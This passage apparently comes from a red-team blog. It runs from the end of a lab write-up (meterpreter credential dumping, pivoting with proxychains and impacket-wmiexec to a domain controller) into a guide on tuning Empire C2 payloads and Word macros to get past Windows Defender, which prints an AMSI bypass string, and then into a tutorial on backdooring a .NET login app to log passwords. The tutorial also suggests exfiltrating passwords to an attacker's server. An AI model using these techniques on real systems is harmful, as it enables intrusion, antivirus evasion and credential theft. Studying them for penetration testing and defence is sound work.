# Elevate admin session to NT Authority\SYSTEM.  This may fail due to AV detection
meterpreter > getsystem
# Load the kiwi module for dumping credentials
meterpreter > load kiwi

Finally, the creds_all command can be used to dump all available credentials from the device, domain and otherwise. As seen below, this includes the hash for the Administrator account for the commercial.htb domain, which is by default a domain admin.

Now that we have a domain admin’s NTLM hash, we could potentially use it to access the domain controller identified earlier. The problem is the DC is not reachable from our “public” IP, only from the internal subnet the workstation is on. There are several ways to solve this, but I chose to continue with Metasploit and use its routing/proxy functionality to tunnel traffic from my system through the active meterpreter session.

# Add a route in metasploit to direct any traffic to the 172.16.22.0/24 subnet through the active session
route add 172.16.22.0/24 <session ID>

# Start the socks_proxy module to allow proxychains to redirect traffic to the session
use auxiliary/server/socks_proxy
run -j

With the route and proxy running in Metasploit, proxychains can be used to route the traffic of normal Linux tools through the current meterpreter session. The configuration file at /etc/proxychains.conf (or /etc/proxychains4.conf) may need to be modified to match the port used in the socks_proxy module, but mine are both currently using port 1080.

By prepending proxychains to the impacket-wmiexec command below, the traffic will be sent through the metasploit session and to the domain controller successfully. As we are able to reach the domain controller and have valid credentials for the domain administrator account, this provides us with a semi-interactive shell on CMD-SRVDC01.

NOTE: Other impacket tools like psexec or smbexec could also be used for this step, but I’ve found them more likely to be detected and stopped by AV.

Using this shell to navigate to the administrator’s desktop finds the root.txt file and the 2nd flag.

Modifying Empire payloads to avoid detection

Intro

For today’s post and the first post of a new website, I thought I’d discuss the C2 (Command and Control) framework Empire. The original PowerShell Empire project was discontinued, but several awesome people at BC Security developed a new version created mostly in Python 3. However, it can use several different agents, including pure-PowerShell for Windows. I’m also going to be using the GUI BC Security created for their version of Empire called Starkiller just to make some demonstrations easier, but everything can be done from the command-line if needed.

I’m not going to cover how to setup Empire because that’s pretty straightforward following the instructions on their Github. I thought it would be more useful to go over some of the default settings that should always be changed for any real engagement and features that don’t always work out of the box due to up-to-date anti-virus signatures. For these tests I’m going to be using Windows Defender as the chosen AV because it’s free, but the general suggestions below should be effective against other products as well.

Now, someone may say, “Why Empire? Cobalt Strike is the most used C2 out there, you should cover that.” First off, most of the information I’m going to go over isn’t necessarily specific to Empire, I’m just using it to demonstrate why using the defaults is generally a bad idea in any tool. Secondly, Cobalt Strike is expensive and Empire is free.

With that out of the way, let’s get started and…

Default Empire settings and common IoCs

On Kali Linux, the easiest way to run Empire is to install it with apt and start it with the command powershell-empire server. This starts up the application, loads plugins and shows that the API and SocketIO server is started up successfully.

Starkiller is similarly available through apt on Kali and can be started with the starkiller command. On first launch you’ll be greeted with the login screen below defaulting to connecting to port 1337 on localhost, assuming you’re running the server on the same machine. The default credentials for Empire are ’empireadmin’ and ‘password123’.

Once logged in, starkiller opens to the Listeners screen by default. From here on I’m going to focus on basic usage, but for a specific attack vector, so I won’t be going into detail on anything else. However, all of the information is either available on their Github or a linked wiki from there.

The attack vector I want to focus on is using Empire in conjunction with a malicious Office document to take over a machine. In order to make this work, we’ll need to do a few things first.

  1. Start a listener in Empire using our desired configuration
  2. Choose and generate a stager in Empire that will provide the payload to use in a in Word document.
  3. Put the payload into a macro in the Word document
  4. Send the document to the victim
    • This part will be staged and I’ll just move the document to the target machine, but the end result would be the same.

Creating a listener

From the Listeners page, we just click Create and are taken to a new screen to choose the type of listener to use. In this case I’m going to choose ‘http’, but there are a variety that can be used for different situations.

This leads to the listener configuration screen with quite a few more options. This is also the first place I want to point out some settings that should definitely be changed if you’re planning to use Empire in a real engagement and don’t want to be caught immediately.

All of the settings seen above are defaults for the http listener. The hostname and port will always need to be changed to match the server you’re running Empire on and listener name should be changed to anything you want that makes it easier to recognize what it’s for. Other items like “DefaultProfile” and “Headers”, which controls what the HTTP server looks like, should always be modified. As Empire is open-source, most modern AV/EDR vendors will have extensive IoCs (Indicators of compromise) for the default settings and behavior of the tool. As an example, if I google one of the default paths set in DefaultProfile, it’s pretty obvious what it’s associated with.

With this in mind, I generally change the following settings for a listener:

  • Host
    • Server running Empire
  • Port
    • Port to listen on
  • DefaultProfile
    • Any random URL paths and a common user agent
  • Headers
    • Any common web server
  • Launcher
    • This could be modified to launch PowerShell in a different way, but I’m going to change this manually later.
  • StagingKey
    • Any random 32 character string
  • CertPath
    • This would be set to a certificate if you want to use HTTPS, but I won’t be in this case.
  • Cookie
    • Any random string. Using a common cookie name like “PHPSESSID” could also work if your server headers match.
  • Proxy, ProxyCreds, UserAgent
    • I usually set these to none to begin with, but they can be set as needed.

Once finished and started, we can see it is listening on the Listeners panel.

Creating a stager

With the listener running, now we need to generate a payload that will connect back to it. We can do that by navigating to the Stagers tab and clicking Create. This again presents a list of choices for the type of stager to use ranging from Windows to OSX to platform independent. For this example, I’m going to choose the “windows/macro” option to match my chosen attack vector.

Once selected, we’re given a new screen to configure how the stager’s payload is generated.

The only option required to be changed here is the Listener setting, which needs to be set to the listener we started earlier. However, similar to the listener settings, there are some that are generally a good idea to modify from the defaults. As a demonstration, I’m going to generate the stager without modifying anything else to see how it does against Windows Defender.

Once submitted, the stager is created and we can choose to copy the payload to the clipboard. Other options generate files that can be downloaded, but it just depends on the type of stager being used.

Putting the payload in a macro

The payload it generates is a standard VBA Macro that can be put into an Office document and, in this case, uses Run() function from WScript.Shell to execute the payload.

On another machine, I created a Word document named “empire.doc” (.doc still executes macros) and created a macro using the payload generated by Empire. After I copied the file over to the machine, Defender immediately flagged it as malicious. The detection unfortunately doesn’t say too much about what it thinks is malicious.

From my testing “O97M/Sadoca” is generally related to something in Office documents that it thinks it malicious, but can’t specifically identify. The !ml at the end usually means the detection was found through machine learning rather than basic signature detections, which means it’s probably a combination of things that are seen as malicious when put together.

Learning how to bypass Defender isn’t the point of this post though, so moving on for now.

Using the built-in obfuscation

Empire also has the option to obfuscate the PowerShell commands used in generated payloads. It does this using the Invoke-Obfuscation Powershell module, which works well, but doesn’t necessarily offer an immediate bypass of any anti-virus. I created a new macro stager and this time turned on the option for obfuscation, using the default choice of “Token\All\1”. Token obfuscation is only one of the methods offered by this library, but we’ll see how the default option works first.

Copying this payload into a Word document shows the payload is noticeably longer, but still uses the same method of execution through WScript.Shell. Unfortunately, we’re met with the same detection as last time.

So it looks like the obfuscation didn’t make any difference. Let’s take a look at the commands that were embedded in the payload to get an idea of what Defender might be detecting. To do this I just extracted the Base64-encoded payload from the macro and decoded it using CyberChef to make it easy.

This gives a PowerShell one-liner, but adding a line break on every semi-colon splits the commands up nicely enough to make it more readable.

Now let’s compare that to the obfuscated version of the same payload.

Apart from the obfuscated one looking extremely sus, these do the exact same thing. There are 3 main things happening here that we should focus on first. I’m going to use the unobfuscated version for reference since it’s more readable.

  1. The first 4 lines are the AMSI (Anti-Malware Scan Interface) and ETW (Event Tracing for Windows) bypass included by default. In this case it is using an AMSI bypass method identified by Matt Graeber here.
  2. Lines 6-15 are setting up the WebClient object it will use to make requests to the Empire HTTP server. Line 10 is a Base64-encoded string of the server name (hxxp://X.X.X.X) and line 11 is the endpoint I defined in the listener’s profile.
  3. Some other stuff happens on lines 16-24 using the stagingkey I set, but line 25 adds my defined cookie and 26 is where the actual request to download data from the server is made.

With this in mind, we should be able to modify the payload as long as it performs the same actions seen above. However, first I want to see if the AMSI bypass included by default actually works as many of the methods that have been made public through the linked repo above or https://amsi.fail now have signatures built to detect them before they can actually disable AMSI. To do that I just extracted the string below from the payload that is the actual bypass and tested it directly in PowerShell.

[REF].AsSEMbly.GEtTYPE('System.Management.Automation.Amsi'+'Utils');$ReF.GEtFieLD('amsiInitF'+'ailed','NonPublic,Static').SETVAlUE($nuLl,$trUe);

Unfortunately, it looks like the bypass itself is detected as malicious and even associated with an “AmsiTamper” signature. I’m not going to worry about the ETW bypass for now, but it was also seen as malicious on its own.

As another test, I removed both bypasses from the script and a few lines related to proxies as I don’t need them in this case. I then pasted the entire command back into a regular PowerShell window as a one-liner to see what happens. This was also detected, but this time was much more specific in that it was seen as a PowerShell Attack Tool.

That’s not unexpected as, if AMSI is enabled, pretty much any payload we try to run will eventually be flagged as malicious content if we don’t disable it first.

First attempt at custom obfuscation

I mentioned earlier that most of the publicly available AMSI bypasses have signatures that prevent them from working correctly, but that is not the case for all of them. I don’t want to make the process too easy for someone who may be looking to do something actually malicious so I’ll leave the step of identifying a working one up to you, but here’s proof that it exists. The string ‘amsiutils’ is a simple test for detecting if AMSI is enabled and it no longer triggers after the bypass is run.

After adding this working bypass to the minimized payload from earlier and running directly in PowerShell, it doesn’t seem to generate an alert and the command hangs, which is usually an indication that whatever connection it made is still open.

In fact, checking back in Empire shows that we have a new agent that has checked in from the victim machine.

We can confirm it is working correctly by giving it a task and seeing the result. In this case I just tasked it to run the command “whoami”.

At this point, we know the PowerShell command works with the replacement AMSI bypass, but does it work when put back into the Word macro? I used CyberChef again to convert my PowerShell one-liner back to UTF-16LE and then Base64-encode it for use in the macro.

I also used Python to format the encoded string again for the Word macro as seen below where the variable s is the encoded payload. As a note, the wrap() function needs to be imported with from textwrap import wrap.

However, I tested the encoded payload directly in PowerShell before moving forward and was met with a new detection, this time specifically for Empire.

This will be problematic as the same detection will be seen if the command is run from the Word macro. To get around this I just used the unencoded one-liner directly in the macro, which is not very stealthy, but neither is a giant block of base-64 encoded text, so whatever works. Unfortunately, this is still detected by Defender when the Word document is dropped to disk.

Further obfuscation and bypassing Defender

After some trial and error, Defender seems to be able to detect something is malicious in the macro even when doing further obfuscation on the commands being run. The are several other possible routes to go down next, though I won’t go into detail for now as they could be their own topics. One of which involves hosting the actual payload on a remote server and using a PowerShell download cradle in the macro to avoid any malicious content being present on disk. This would allow the payload to be loaded directly into memory by the macro, which should not be detected if AMSI is disabled successfully.

I’m not going to share my final macro as again I don’t want to make it too easy for potentially malicious people to have a way of getting maldocs past Defender, but the GIF below shows that it is possible. In this example the document waits for a set amount of time, retrieves the payload from a second server, and executes it. This results in a new agent callback in Empire. Sorry for the poor quality of the down-sized GIF.

Conclusion

The main purpose of this post was to demonstrate that most of the default payloads or stagers generated by C2 frameworks are likely to have well documented signatures in modern anti-virus tools. This may not be the case as much for lesser-known tools, but it’s still a good idea to customize your payloads when you intend to use something in a real operation. The same rules apply to general configuration of the team server being used to host/deliver the payloads as EDR tools or network-based detections may have signatures built for those defaults as well.

Thanks for reading if you stuck around this long and I hope this was useful!

Backdooring a .NET application with dnSpy

Intro

I haven’t written anything in a while because I’ve been going through various trainings/courses, but I want to start getting back into the habit of it, so today I’m going to talk about the process of adding a backdoor to a .NET application. Given how popular C#/.NET is in the world today, this seems like a good topic.

As a quick overview, when a developer creates an application written in C#/.NET and compiles it, the compiler generates a file that contains what’s known as Intermediate Level code (IL code). This IL code is a higher level machine language than the usual assembly language used by the CPU, such as instructions like jmp, push eax, pop ebx, etc. The useful part about this in our case is that a decompiler can reconstruct what it thinks the original code looked like much easier from IL code. It will not be exactly the same as the original, but will usually be close enough that you won’t notice much of a difference.

As an example of what this looks like, I created a simple C# Windows Forms application in Visual Studio that displays a login prompt and prints a message on submission for whether or not the password was correct.

Basic Windows Forms Application
Invalid password submission
Valid password submission

This is a pretty simple example that just checks whether the string in the text box is equal to a pre-defined string in the code and updates the label text accordingly. For the next step, I just compiled the solution in Visual Studio and copied the EXE it outputs to the desktop.

Application properties

The properties shown here don’t give away too much information about the application, but using the Linux ‘file’ command against it provides something a little more useful. This output tells us it is a 64-bit compiled executable and, most importantly, appears to be written in .NET.

Linux file information for .NET Assembly

For reference, the next image is what most other Windows executables look like when viewed with the file command. In this case, I’m using the standard calc.exe available in every version of Windows.

Linux file information for normal Windows binary

Decompiling the application

Now we can get to the interesting part of decompiling the application. To do this I’m going to use the dnSpy tool found here. The repo has been archived at this point, but still works perfectly fine for everything we need to do. I’m not going to cover all of the useful features of dnSpy, of which there are a lot, but only those relevant to this topic. After downloading the last release and unzipping the contents, I can launch the executable and be greeted by the screen below.

Initial window in dnSpy on first load

On the first launch it loads dnSpy.dll and a few other assemblies related to it, but we don’t need those for now and can use the File -> Close All option to remove everything currently loaded.

Closing all current files in dnSpy

Now that we have a blank slate, we can load the target executable, in this case ExampleFormsApp.exe. This can be done by going through File -> Open -> Choose the target file. Once opened, it will show up in the Assembly Explorer along with an associated library or two. We can also see some of the decompiled code on the right hand side when selecting the ExampleFormsApp option in the left-hand pane.

Assembly loaded in dnSpy and decompiled code

From here, we can drill down into the target application until we can see the namespace in use (ExampleFormsApp) and the two classes identified in the application (Form1 and Program). Selecting the ‘Program’ class decompiles the associated code and displays it in the right window, allowing us to see the Main() function for this class. This expanded selection also gives us a list of functions and variables found in this class in the explorer pane, although Main appears to be the only one in this case.

Viewing “Program” class in ExampleFormsApp.exe

This class doesn’t seem to have much information in it, so let’s try the other one, Form1.

Viewing “Form1” class in ExampleFormsApp.exe

Form1 appears to have more going on. At first glance in the assembly explorer we can see several functions and variables displayed and the decompiled code also looks to have more functionality with functions defining actions to take when buttons in the form are clicked. We can also see the simple check performed in the passwordSubmitButton_Click function against the password entered in the form and how it compares the value against the string “supersecret”.

To re-iterate my earlier point that dnSpy doesn’t reproduce the exact same code as the original application, below is the original code I wrote for the same function. The logic is the same and produces the same results, but dnSpy formats the code differently because it is essentially guessing what the original looked like.

Logic to check submitted password in Example App

Editing the decompiled code and recompiling new binary

Now, what if I wanted to make a change to the application without needing to load everything back into Visual Studio and re-compile it? Luckily for us, dnSpy allows you to edit decompiled applications in place and re-compile them back into a new binary. As an example, I’m going to change the password the application is looking for to “hacked” and re-compile the code. To do this I’ll right-click anywhere in the decompiled code window and choose “Edit Class (C#)…”. You could also choose to edit a specific method instead of an entire class, but I’m using the whole class in this case.

dnSpy option to edit existing class of opened .NET file

This opens a new window where we can make direct changes to the code of the decompiled class. I make a single change to the string being checked and then choose compile in the bottom-right.

Editing Form1 class code

This saves our entry and brings us back to the original decompiled code window where the string “supersecret” has been replaced with “hacked”. Lastly, to re-compile our updated code, we choose File -> Save Module.

dnSpy option to save current module as new file

This option opens a new screen with a few options and the filename we want to save the binary to. I’m choosing to save it to “ExampleFormsApp-edited.exe” rather than overwriting the original.

dnSpy options to save file

This gives me two applications on the desktop now, the original and the edited version.

Modified version of ExampleFormsApp saved to desktop

Launching the edited application produces the same GUI window as before with a password prompt. However, if I try using the password “supersecret”, we get an invalid message this time. Whereas if I use the password “hacked”, we get the success message.

Modified version of ExampleFormsApp after changing password string
Showing new password is accepted

Other ideas when editing the application

This example shows how easy it is to edit and re-compile a .NET application, but it’s a pretty simple modification. What if the application was more complex and didn’t have a hard-coded string the password was being checked against? We could just edit out the password check altogether so that it returns a success no matter what. In this case I’ve removed the entire if/else block that validates the entered string is correct so that the application displays a success every time the button is clicked.

Removing the logic to validate password

This results in an application where the entered password doesn’t matter at all and could even be blank.

Showing an empty password is accepted

This is cool and all, but what if the password is used to somehow encrypt information within the application and you need the correct one to decrypt it correctly? Bypassing the initial authentication won’t matter if the information still can’t be decrypted correctly. What if we added a keylogging functionality to the original application to make it save the password being entered where we can view it later? The image below is the code I added to do just that. I also needed to add another using statement at the top for “using System.IO;” as the functions I use come from that namespace.

Code added to log submitted password to file

This code does a few things:

  • Defines the path to the log file we want to use
  • Checks if the file already exists
    • If it doesn’t exist, create it and add the submitted password to the file
    • If it does exist, append the submitted password to the file

Recompiling the application one more time and launching gives the same GUI we expect that is looking for the string “supersecret” as the password again. However, we can also see a new file is created on the desktop after submitting the first password.

Password accepted and log file created

Viewing the contents of the file show the first invalid login attempt I made, followed by the correct one. There could be more checks in the code to try and only write the password when it is correct, but this example still demonstrates the capabilities we have with .NET applications.

Contents of the log file created by application

Closing and other potential ideas

If we have access to overwrite an existing .NET binary with a modified one, there are a variety of other useful things that could be added. In many cases this would require administrative rights to access the original’s location on disk, i.e. C:\Program Files, but it’s not abnormal to compromise a machine and find more interesting things to do with it during post-exploitation.

I’m not going to detail anymore in this post, but I will list two potential ideas that could be done with this specific app and there are countless others for other applications depending on their functionality and purpose. I haven’t tested either of these personally, but they should work in theory:

  • (Exfiltration) Have the application perform an HTTP request with the submitted password to the attacker’s external server
    • This would avoid needing to write the log file to disk
  • (Credentials) Have the application try to connect to the attacker’s SMB server that is running Responder
    • As the application would likely be running as the current user, this should provide a Net-NTLMv2 hash that can either be cracked or passed to another machine.